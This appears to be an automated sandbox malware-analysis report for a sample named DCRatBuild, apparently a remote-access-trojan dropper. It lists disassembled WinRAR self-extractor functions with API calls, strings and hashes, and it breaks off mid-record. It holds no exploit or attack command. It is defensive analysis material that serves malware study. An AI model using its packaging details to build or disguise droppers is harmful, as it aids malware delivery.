Part of subcall function 00FDD287: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00FDD2D9

CloseHandle.KERNEL32(00000000), ref: 00FDD697
GetModuleFileNameW.KERNEL32(00000000,0101DC90,00000800), ref: 00FDD6B2
SetEnvironmentVariableW.KERNEL32(sfxname,0101DC90), ref: 00FDD6BE
GetLocalTime.KERNEL32(?), ref: 00FDD6C9
_swprintf.LIBCMT ref: 00FDD708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00FDD71A
GetModuleHandleW.KERNEL32(00000000), ref: 00FDD721
LoadIconW.USER32(00000000,00000064), ref: 00FDD738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 00FDD789
Sleep.KERNEL32(?), ref: 00FDD7B7
DeleteObject.GDI32 ref: 00FDD7F0
DeleteObject.GDI32(?), ref: 00FDD800
CloseHandle.KERNEL32 ref: 00FDD843

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00FDD5E9
sfxstime, xrefs: 00FDD715
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00FDD6F9
STARTDLG, xrefs: 00FDD77E
sfxname, xrefs: 00FDD6B9
winrarsfxmappingfile.tmp, xrefs: 00FDD637

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Local\Temp$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-315867760
Opcode ID: ae84e7906662fda73e088150a57f1abd4c2a230e6cc8d0ec635e13b2e348f82f
Instruction ID: 0fd9c183eef42f23355620cea8c1a4af0511a08bec2e9959971d4125083442d7
Opcode Fuzzy Hash: ae84e7906662fda73e088150a57f1abd4c2a230e6cc8d0ec635e13b2e348f82f
Instruction Fuzzy Hash: D761B271D04244AFD332ABA5EC49F3A37AEBF44745F08002AF58592295DFBED904E762

Function 00FD9E1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(00FDAE4D,PNG,?,?,?,00FDAE4D,00000066), ref: 00FD9E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,00FDAE4D,00000066), ref: 00FD9E46
LoadResource.KERNEL32(00000000,?,?,?,00FDAE4D,00000066), ref: 00FD9E59
LockResource.KERNEL32(00000000,?,?,?,00FDAE4D,00000066), ref: 00FD9E64
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00FDAE4D,00000066), ref: 00FD9E82
GlobalLock.KERNEL32(00000000,?,?,?,?,?,00FDAE4D,00000066), ref: 00FD9E93
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00FD9EFC
GlobalUnlock.KERNEL32(00000000), ref: 00FD9F1B
GlobalFree.KERNEL32(00000000), ref: 00FD9F22

Strings

PNG, xrefs: 00FD9E1F

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: a235dfeb9a521533cb6aad613e62310f45978523170cb65ed0f03f89418a7543
Instruction ID: a87c7b8387d4fa9bf8e8c06b5a993f24b561b8ec02b29011e42856db28db4e6e
Opcode Fuzzy Hash: a235dfeb9a521533cb6aad613e62310f45978523170cb65ed0f03f89418a7543
Instruction Fuzzy Hash: C0317571A08316AFC7119F61DC48E2BBBAEFF85761B18051AF946D2350DBB5DC00EB61

Function 00FCA5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00FCA4EF,000000FF,?,?), ref: 00FCA628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00FCA4EF,000000FF,?,?), ref: 00FCA65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00FCA4EF,000000FF,?,?), ref: 00FCA66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,00FCA4EF,000000FF,?,?), ref: 00FCA692
GetLastError.KERNEL32(?,?,?,?,00FCA4EF,000000FF,?,?), ref: 00FCA69E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: f0154f53f96c513289db0a21b01aa46d9cd3e2ae05e838b92ecb0e1cd196d0c4
Instruction ID: 1990978b033feee61ac451a27a765eb34eb5a0d0bb0f3f92678543b0a4daf304
Opcode Fuzzy Hash: f0154f53f96c513289db0a21b01aa46d9cd3e2ae05e838b92ecb0e1cd196d0c4
Instruction Fuzzy Hash: 46418576504246AFC320EF68C985FDAF7E8BF48354F04092EF599D3200D775A954EB52

Function 00FE753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00FE7513,00000000,00FFBAD8,0000000C,00FE766A,00000000,00000002,00000000), ref: 00FE755E
TerminateProcess.KERNEL32(00000000,?,00FE7513,00000000,00FFBAD8,0000000C,00FE766A,00000000,00000002,00000000), ref: 00FE7565
ExitProcess.KERNEL32 ref: 00FE7577

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2422320644f023f372db3dc4f03532fffd305f3d41009f96cb443e573babac11
Instruction ID: 861029056dab89174a7965e2d923de0023032f364b3f8faf3a2f4dc19bef4da3
Opcode Fuzzy Hash: 2422320644f023f372db3dc4f03532fffd305f3d41009f96cb443e573babac11
Instruction Fuzzy Hash: D2E0EC31404B88AFCF11BF65DD09A593F6DEF40795F148414F9058A232CB39EE42EB51

Function 00FC857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC8580
_memcmp.LIBVCRUNTIME ref: 00FC8A08

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: f4e3c9cbe54fb737bf6ae2f16d58af9895537c1c189f283c9745c336ed1a028c
Instruction ID: 9d590dd825dd5d93d310e360b3ad5a5ea3f2ac9552feec93621ad5276f2028e8
Opcode Fuzzy Hash: f4e3c9cbe54fb737bf6ae2f16d58af9895537c1c189f283c9745c336ed1a028c
Instruction Fuzzy Hash: 32822A31D04247AEDF25DB60CA87FFAB7A9AF05350F0840BEE8499B142DB745E49EB50

Function 00FDAEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FDAEE5

Part of subcall function 00FC130B: GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
Part of subcall function 00FC130B: SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

Strings

"%s"%s, xrefs: 00FDB423
C:\Users\user\AppData\Local\Temp, xrefs: 00FDB2DF
LICENSEDLG, xrefs: 00FDB771
__tmp_rar_sfx_access_check_%u, xrefs: 00FDB1CB
-el -s2 "-d%s" "-sp%s", xrefs: 00FDB281
@, xrefs: 00FDB2A7
<, xrefs: 00FDB29A
STARTDLG, xrefs: 00FDAF04
winrarsfxmappingfile.tmp, xrefs: 00FDB2BC

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\AppData\Local\Temp$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-3771263216
Opcode ID: 91edd03713fec98d354d3b02258c1ba4b6f3270ecaf1b1b1b7d0b98fe5c23a13
Instruction ID: da7415aaafa6420e1139f4ea42b22011ef01f536727e8d6eae50e130d1979a44
Opcode Fuzzy Hash: 91edd03713fec98d354d3b02258c1ba4b6f3270ecaf1b1b1b7d0b98fe5c23a13
Instruction Fuzzy Hash: 7D420871D44244EFEB319FA09C8AFBE777EAB01714F19405AF281A62C6CB7D4944EB21

Function 00FD00CF Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00FD00E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00FD00F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00FD0127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00FD03D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FD03F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FD0402
ReadFile.KERNEL32(00000000,?,00007FFE,00FF3BA4,00000000), ref: 00FD0421
CloseHandle.KERNEL32(00000000), ref: 00FD0479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00FD048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 00FD04E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00FD0510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 00FD054A

Part of subcall function 00FD0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FD00A0
Part of subcall function 00FD0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00FCEB86,Crypt32.dll,00000000,00FCEC0A,?,?,00FCEBEC,?,?,?), ref: 00FD00C2

_swprintf.LIBCMT ref: 00FD05BE
_swprintf.LIBCMT ref: 00FD060A

Part of subcall function 00FC400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC401D

AllocConsole.KERNEL32 ref: 00FD0612
GetCurrentProcessId.KERNEL32 ref: 00FD061C
AttachConsole.KERNEL32(00000000), ref: 00FD0623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00FD0649
WriteConsoleW.KERNEL32(00000000), ref: 00FD0650
Sleep.KERNEL32(00002710), ref: 00FD065B
FreeConsole.KERNEL32 ref: 00FD0661
ExitProcess.KERNEL32 ref: 00FD0669

Strings

Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00FD05F8
DXGIDebug.dll, xrefs: 00FD0169, 00FD04D3
SetDefaultDllDirectories, xrefs: 00FD0121
kernel32, xrefs: 00FD00DD
uxtheme.dll, xrefs: 00FD058B
dwmapi.dll, xrefs: 00FD0194, 00FD0581
SetDllDirectoryW, xrefs: 00FD00F0

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: af909e76c46a02cdc5e112185e1cfb32591c439dbc9e37edb5b2f0072ab948f5
Instruction ID: ad2e821efd7b4f9f89c2fcea694652b5bb649a65ab0a87c295d35bf2d3f76b80
Opcode Fuzzy Hash: af909e76c46a02cdc5e112185e1cfb32591c439dbc9e37edb5b2f0072ab948f5
Instruction Fuzzy Hash: AED193B1408388ABD320DF50DC49FAFBBE9AF85704F04091EF78596261CBB49648EB53

Function 00FDBDF5 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 429
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00FDBDFA

Part of subcall function 00FDAA36: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00FDAAFE

SetWindowTextW.USER32(?,?), ref: 00FDC127
_wcsrchr.LIBVCRUNTIME ref: 00FDC2B1
GetDlgItem.USER32(?,00000066), ref: 00FDC2EC
SetWindowTextW.USER32(00000000,?), ref: 00FDC2FC
SendMessageW.USER32(00000000,00000143,00000000,0100A472), ref: 00FDC30A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00FDC335

Strings

<br>, xrefs: 00FDC08A
Software\Microsoft\Windows\CurrentVersion, xrefs: 00FDC1D0
ProgramFilesDir, xrefs: 00FDC1FB
%s.%d.tmp, xrefs: 00FDBFF6

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: fcd887048b987529fa5df98a1f9fd812cda5a725eb262fc94cd875e727052dd1
Instruction ID: 774fd32b0c5954341b37b5997f7edebd978623b3399d8d5b02f5c406a8bd792f
Opcode Fuzzy Hash: fcd887048b987529fa5df98a1f9fd812cda5a725eb262fc94cd875e727052dd1
Instruction Fuzzy Hash: 0EE1A472D0421AAADF25DBA0DC49EEF737DAF04311F184167F605E3251EB789A84EB90

Function 00FCD341 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00FCD346
_wcschr.LIBVCRUNTIME ref: 00FCD367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00FCD328,?), ref: 00FCD382
__fprintf_l.LIBCMT ref: 00FCD873

Part of subcall function 00FD137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00FCB652,00000000,?,?,?,00010434), ref: 00FD1396

Strings

$%s:, xrefs: 00FCD856
*messages***, xrefs: 00FCD49A
, xrefs: 00FCD67A
a, xrefs: 00FCD4EF
*messages***, xrefs: 00FCD4D3
,, xrefs: 00FCD8AE
RTL, xrefs: 00FCD838
R, xrefs: 00FCD4E5
@%s:, xrefs: 00FCD85D, 00FCD869

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-980926923
Opcode ID: 548805985adb8b8c9811d967edf9424e23219d16eabc09e91a9dec90948382b0
Instruction ID: 24d5428a3c10a16bf8fa6a5fb73f12fa9fcfc05e7b067d6b738c518557f345b1
Opcode Fuzzy Hash: 548805985adb8b8c9811d967edf9424e23219d16eabc09e91a9dec90948382b0
Instruction Fuzzy Hash: 5A12C271D0020A9ADB24DFA4CE86FEEB7B5EF44710F14447EE106A7291EB749A44EB20

Function 00FDCB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FDAC85
Part of subcall function 00FDAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FDAC96
Part of subcall function 00FDAC74: IsDialogMessageW.USER32(00010434,?), ref: 00FDACAA
Part of subcall function 00FDAC74: TranslateMessage.USER32(?), ref: 00FDACB8
Part of subcall function 00FDAC74: DispatchMessageW.USER32(?), ref: 00FDACC2

GetDlgItem.USER32(00000068,0101ECB0), ref: 00FDCB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,00FDA632,00000001,?,?,00FDAECB,00FF4F88,0101ECB0), ref: 00FDCB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00FDCBA1
SendMessageW.USER32(00000000,000000C2,00000000,00FF35B4), ref: 00FDCBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00FDCBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00FDCBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00FDCC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00FDCC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00FDCC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00FDCC67
SendMessageW.USER32(00000000,000000C2,00000000,00FF431C), ref: 00FDCC76

Strings

\, xrefs: 00FDCBCF

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: f1b72ce548ac4defa9ef4e8b6f0b0d6ba551b389c9222d541c5889b03c7fe020
Instruction ID: d8c880f157d73bf225172be9424273604ed68e391e312cc09a7df9bf79d892f0
Opcode Fuzzy Hash: f1b72ce548ac4defa9ef4e8b6f0b0d6ba551b389c9222d541c5889b03c7fe020
Instruction Fuzzy Hash: 4231E171185741ABD331DF209C8AFAB7FADEB82714F100509F69096282DB6E4904DBB6

Function 00FDCE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 00FDCF54
ShowWindow.USER32(?,00000000), ref: 00FDCF93
GetExitCodeProcess.KERNEL32(?,?), ref: 00FDCFCF
CloseHandle.KERNEL32(?), ref: 00FDCFF5
ShowWindow.USER32(?,00000001), ref: 00FDD084

Part of subcall function 00FD17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00FCBB05,00000000,.exe,?,?,00000800,?,?,00FD85DF,?), ref: 00FD17C2

Strings

, xrefs: 00FDCEA2
.exe, xrefs: 00FDCFFF
.inf, xrefs: 00FDCF10

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: c9349883193866322b18a61bb4b415f6260cb35347ae0a1c843d62b75e6fa713
Instruction ID: b2039967637399c8510d5717df8cb2d4852fc76076e63218c6b797c01f13b8c7
Opcode Fuzzy Hash: c9349883193866322b18a61bb4b415f6260cb35347ae0a1c843d62b75e6fa713
Instruction Fuzzy Hash: E061F6B0804381AAD7319F24D804AAB7BEBAF81314F0C491FF5C597359D7768985EBA2

Function 00FEA058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00FE4E35,00FE4E35,?,?,?,00FEA2A9,00000001,00000001,3FE85006), ref: 00FEA0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00FEA2A9,00000001,00000001,3FE85006,?,?,?), ref: 00FEA138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00FEA232
__freea.LIBCMT ref: 00FEA23F

Part of subcall function 00FE8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00FEC13D,00000000,?,00FE67E2,?,00000008,?,00FE89AD,?,?,?), ref: 00FE854A

__freea.LIBCMT ref: 00FEA248
__freea.LIBCMT ref: 00FEA26D

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

